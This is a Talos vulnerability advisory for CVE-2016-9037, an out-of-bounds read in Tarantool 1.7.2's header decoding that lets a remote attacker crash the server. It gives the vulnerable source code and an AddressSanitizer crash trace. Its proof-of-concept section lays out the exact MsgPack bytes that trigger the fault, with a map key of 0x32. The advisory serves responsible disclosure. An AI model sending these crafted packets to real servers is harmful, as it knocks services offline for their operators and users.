Talos Vulnerability Report

TALOS-2016-0255

Tarantool Key-type Denial Of Service Vulnerability

December 16, 2016
CVE Number

CVE-2016-9037

Summary

An exploitable out-of-bounds array access vulnerability exists in the xrow_header_decode function of Tarantool 1.7.2.0-g8e92715. A specially crafted packet can cause the function to access an element outside the bounds of a global array that is used to determine the type of the specified key’s value. This can lead to an out of bounds read within the context of the server. An attacker who exploits this vulnerability can cause a denial of service vulnerability on the server.

Tested Versions

Tarantool 1.7.2-0-g8e92715

Product URLs

https://github.com/tarantool/tarantool

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-125: Out-of-bounds Read

Details

Tarantool is an open-source lua-based application server. While primarily functioning as an application server, it is also capable of providing database-like features and providing an in-memory database which can be queried using a protocol based around the MsgPack serialization format. Tarantool is used by various service providers such as Mail.RU, or Badoo.

Tarantool’s protocol is based around the MsgPack serialization format. This protocol is used to encode specific request types which are then made against the server. Inside the header of this protocol is data encoded as a map type in which each key is represented by integers. Each of these integers are used to index into an array which is used to determine the type of the key that was specified.

In the following code, the server will first read the length out of the MsgPack encoded packet. After reading the length, the server will create a new instance of a message using the iproto_msg_new function. Afterwards, this object will be passed onto the iproto_decode_msg function.

src/box/iproto.cc:601

/** Enqueue all requests which were read up. */
static inline void
iproto_enqueue_batch(struct iproto_connection *con, struct ibuf *in)
{
    bool stop_input = false;
    while (con->parse_size && stop_input == false) {
        ...
        /* Read request length. */
        if (mp_typeof(*pos) != MP_UINT) {
            tnt_raise(ClientError, ER_INVALID_MSGPACK,
                  "packet length");
        }
        if (mp_check_uint(pos, in->wpos) >= 0)
            break;
        uint32_t len = mp_decode_uint(&pos);
        const char *reqend = pos + len;
        ...
        struct iproto_msg *msg = iproto_msg_new(con);
        ...
        msg->len = reqend - reqstart; /* total request length */

        try {
            iproto_decode_msg(msg, &pos, reqend, &stop_input);
            cpipe_push_input(&tx_pipe, guard.release());
        } catch (Exception *e) {
            ...
        }
        ...
    }
    ...
}

At the very beginning of the iproto_decode_msg function, the server will call a wrapper named xrow_header_decode_xc. This wrapper will simply chain into the xrow_header_decode function.

src/box/iproto.cc:601

static void
iproto_decode_msg(struct iproto_msg *msg, const char **pos, const char *reqend,
          bool *stop_input)
{
    xrow_header_decode_xc(&msg->header, pos, reqend);   // XXX: Call xrow_header_decode_xc wrapper
    assert(*pos == reqend);
    request_create(&msg->request, msg->header.type);
    msg->request.header = &msg->header;

    ...
}


src/box/xrow.h:152

static inline void
xrow_header_decode_xc(struct xrow_header *header, const char **pos,
              const char *end)
{
    if (xrow_header_decode(header, pos, end) < 0)       // XXX: Continue onto xrow_header_decode
        diag_raise();
}

When inside the xrow_header_decode function, the server will first check to see if the MsgPack encoded data is not malformed in anyway. Once this is performed, the next part of the packet will be checked to see if it is of the MP_MAP type. Afterwards, the server will enter a loop which will iterate over the number of values that are stored within the map type. For each entry within the map type, the server will decode a key from the map and then use it as an index to a global array named iproto_key_type. This array contains 0x31 elements. If one of the keys that are encoded are an integer that is larger than this array, then the server will access an element outside the bounds of said array.

src/box/xrow.cc:46

int
xrow_header_decode(struct xrow_header *header, const char **pos,
           const char *end)
{
    memset(header, 0, sizeof(struct xrow_header));
    const char *tmp = *pos;
    if (mp_check(&tmp, end) != 0) {
error:
        diag_set(ClientError, ER_INVALID_MSGPACK, "packet header");
        return -1;
    }

    if (mp_typeof(**pos) != MP_MAP)
        goto error;

    uint32_t size = mp_decode_map(pos);
    for (uint32_t i = 0; i < size; i++) {
        if (mp_typeof(**pos) != MP_UINT)
            goto error;
        unsigned char key = mp_decode_uint(pos);            // XXX: Read integer from packet
        if (iproto_key_type[key] != mp_typeof(**pos))       // XXX: Use integer as element for array
            goto error;
        ...
    }
    ...
}

Crash Information

$ ASAN_OPTIONS=halt_on_error=0 /usr/local/bin/tarantool
/usr/local/bin/tarantool: version 1.7.2-0-g8e92715
type 'help' for interactive help
tarantool> box.cfg{listen=57005}
2016-11-27 01:23:41.848 [61276] main/101/interactive C> version 1.7.2-0-g8e92715
2016-11-27 01:23:41.848 [61276] main/101/interactive C> log level 5
2016-11-27 01:23:41.848 [61276] main/101/interactive I> mapping 1073741824 bytes for tuple arena...
2016-11-27 01:23:41.990 [62486] iproto/102/iproto I> binary: started
2016-11-27 01:23:41.991 [62486] iproto/102/iproto I> binary: bound to 0.0.0.0:57005
2016-11-27 01:23:42.261 [62486] main/101/interactive I> initializing an empty data directory
2016-11-27 01:23:42.314 [62595] snapshot/101/main I> creating `./00000000000000000000.snap.inprogress'
2016-11-27 01:23:42.315 [62595] snapshot/101/main I> saving snapshot `./00000000000000000000.snap.inprogress'
2016-11-27 01:23:42.507 [62595] snapshot/101/main I> done
2016-11-27 01:23:42.697 [61276] main/101/interactive I> ready to accept requests
---
...

tarantool> =================================================================
==61276==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000001192b72 at pc 0x4e522a bp 0x7f091c8f1fd0 sp 0x7f091c8f1fc8
READ of size 1 at 0x000001192b72 thread T1 (iproto)
    #0 0x4e5229 in xrow_header_decode(xrow_header*, char const**, char const*) /user/tarantool/src/box/xrow.cc:65
    #1 0x4ca63a in iproto_enqueue_batch(iproto_connection*, ibuf*) /user/tarantool/src/box/iproto.cc:515
    #2 0x4c3ac3 in iproto_connection_on_input(ev_loop*, ev_io*, int) /user/tarantool/src/box/iproto.cc:635
    #3 0x113dd6e in ev_invoke_pending /user/tarantool/third_party/libev/ev.c:3176
    #4 0x114071b in ev_run /user/tarantool/third_party/libev/ev.c:3576
    #5 0xbc09af in cord_costart_thread_func /user/tarantool/src/fiber.c:1004
    #6 0xbbafcf in cord_thread_func /user/tarantool/src/fiber.c:810
    #7 0x7f09207dddc4 in start_thread (/lib64/libpthread.so.0+0x7dc4)
    #8 0x7f091fceacec in __clone (/lib64/libc.so.6+0xf6cec)

0x000001192b72 is located 46 bytes to the left of global variable '.str' from '/user/tarantool/src/box/iproto_constants.c' (0x1192ba0) of size 7
  '.str' is ascii string 'SELECT'
0x000001192b72 is located 0 bytes to the right of global variable 'iproto_key_type' from '/user/tarantool/src/box/iproto_constants.c' (0x1192b40) of size 50
SUMMARY: AddressSanitizer: global-buffer-overflow /user/tarantool/src/box/xrow.cc:65 xrow_header_decode(xrow_header*, char const**, char const*)
Shadow bytes around the buggy address:
  0x00008022a510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008022a520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008022a530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008022a540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008022a550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x00008022a560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[02]f9
  0x00008022a570: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x00008022a580: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x00008022a590: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
  0x00008022a5a0: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x00008022a5b0: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:     fa
  Heap right redzone:    fb
  Freed heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
Thread T1 (iproto) created by T0 here:
    #0 0x47d542 in pthread_create (/usr/local/bin/tarantool+0x47d542)

==61276==ABORTING

Exploit Proof-of-Concept

When first running the Tarantool application server, start a server by typing the following at the Tarantool prompt. This will start a server bound to TCP port 57005.

tarantool> box.cfg {listen=57005}

To run the provided proof-of-concept, simply run it with python as;

$ python poc host:port

When connecting to port 57005 on the server, Tarantool will first send a 128 byte greeting that has the following format:

<class greeting>
[0] <instance pstr.string<char_t>[64] 'tarantool'> u'Tarantool 1.7.2 (Binary) 84ed9e83-f99c-478a-8357-02edb833e091  \n'
[40] <instance pstr.string<char_t>[44] 'salt'> u'UT4DBDrpVTD9h0bl7utdZvAA79Go5EOKLV/F8P4yyJ0='
[6c] <instance pstr.string<char_t>[20] 'null'> u'                   \n'

After receiving this packet, one can then send the MsgPack encoded message that triggers the vulnerability. The MsgPack format has the capacity of encoding various atomic types such as integers, booleans, and strings as well as different container types such as arrays or map (key/value) types. When encoding a type, the first byte will dictate the type+size followed by the data representing the value. The first byte is a binary structure that determines the size of the type. For integral types, this structure may be one of the following. If the type is positive-fixint, then the bottom 7-bits represent the integer value. If the type is negative-fixint, then the bottom 5-bits represent the integer value.

positive-fixint(7b)       negative-fixint(5b)        type-enumeration(5b)
0xxxxxxx                  111xxxxx                   110xxxxx

If the integer type is larger than 7 bits, then the following enumerations will occupy the bottom 5 bits. Depending on the enumeration type, the next number of bytes will contain the integer encoded in big-endian form.

uint8       uint16      uint32      uint64
xxx01100    xxx01101    xxx01110    xxx01111



sint8       sint16      sint32      sint64
xxx10000    xxx10001    xxx10010    xxx10011

If a container type such as a mapping-type is being specified, then it will have one of the following formats. If it’s of a mapfix-type, then the bottom 4 bits represent the number of key/value pairs that follow. If a map16 or map32 is specified, then the first 3 bits will represent the type enumeration (110), and then the next 5 bits will represent one of the following enumerations. Immediately following the map16 or map32 byte will then be either a uint16 ot uint32 (respectively) that is encoded in big-endian form. Each of these container types will then be followed with a number of MsgPack encoded values. This number specifies the number of pairs (key/value) that compose the mapping type.

mapfix      map16       map32
1000xxxx    xxx11110    xxx11111

Tarantool’s protocol first begins with a MsgPack encoded integer which dictates the number of bytes that compose the header and body that follow. This integer can be encoded within any of the previous defined integral types. Within the provided proof-of-concept, the size has the following format:

<class mp.packet> 'size'
[0] <instance mp.t_packet 'type'> {bits=8} mp.d_uint32 (0xce, 8)
[1] <instance mp.d_uint32 'data'> {Value=+0x00000004 (4)}

Immediately following the size, are two MsgPack encoded mapping types. Within Tarantool’s protocol, the mapping type will contain pairs of key/values where the keys are are MsgPack encoded integer types and can be any one of the previously defined types (mapfix, map16, map32). Within the provided proof-of-concept, the header will look like the following map:

<class mp.packet> 'header'
[5] <instance mp.t_packet 'type'> {bits=8} mp.d_fixmap (0x81, 8)
[6] <instance mp.d_fixmap 'data'> "\x32\xcc\x00"

The data of this type contains a list of pairs. If the key of any one of these pairs is larger than the length of the iproto_key_type global variable (0x31), then this vulnerability is being triggered.

<class mp.d_fixmap> 'data'
[6] <instance mp.PackedIntegerHolder 'Length'> {ZeroSizedFixType=1} 1 (+0x1)
[6] <instance dynamic.array(mp.packet,2) 'Value'> mp.packet[2] "\x32\xcc\x00"

In the provided proof-of-concept, this key is set to a positive-fixint of 0x32. It is prudent to note, that the type can be any one of the aforementioned integer types (positive-fixint, negative-fixint, uint8, uint16, uint32, uint64, sint8, sint16, sint32, sint64).

Key:

<class mp.packet> '0'
[6] <instance mp.t_packet 'type'> {bits=8} mp.d_positive_fixint (0x32, 8)
[7] <instance mp.d_positive_fixint 'data'> {Value=50 (+0x32)}               // XXX: Must be out-of-bounds of the iproto_key_type array.


Value:

<class mp.packet> '1'
[7] <instance mp.t_packet 'type'> {bits=8} mp.d_uint8 (0xcc, 8)
[8] <instance mp.d_uint8 'data'> {Value=+0x00 (0)}

Timeline

2016-12-14 - Vendor Disclosure
2016-12-16 - Public Release

Credit

Discovered by the Cisco Talos Team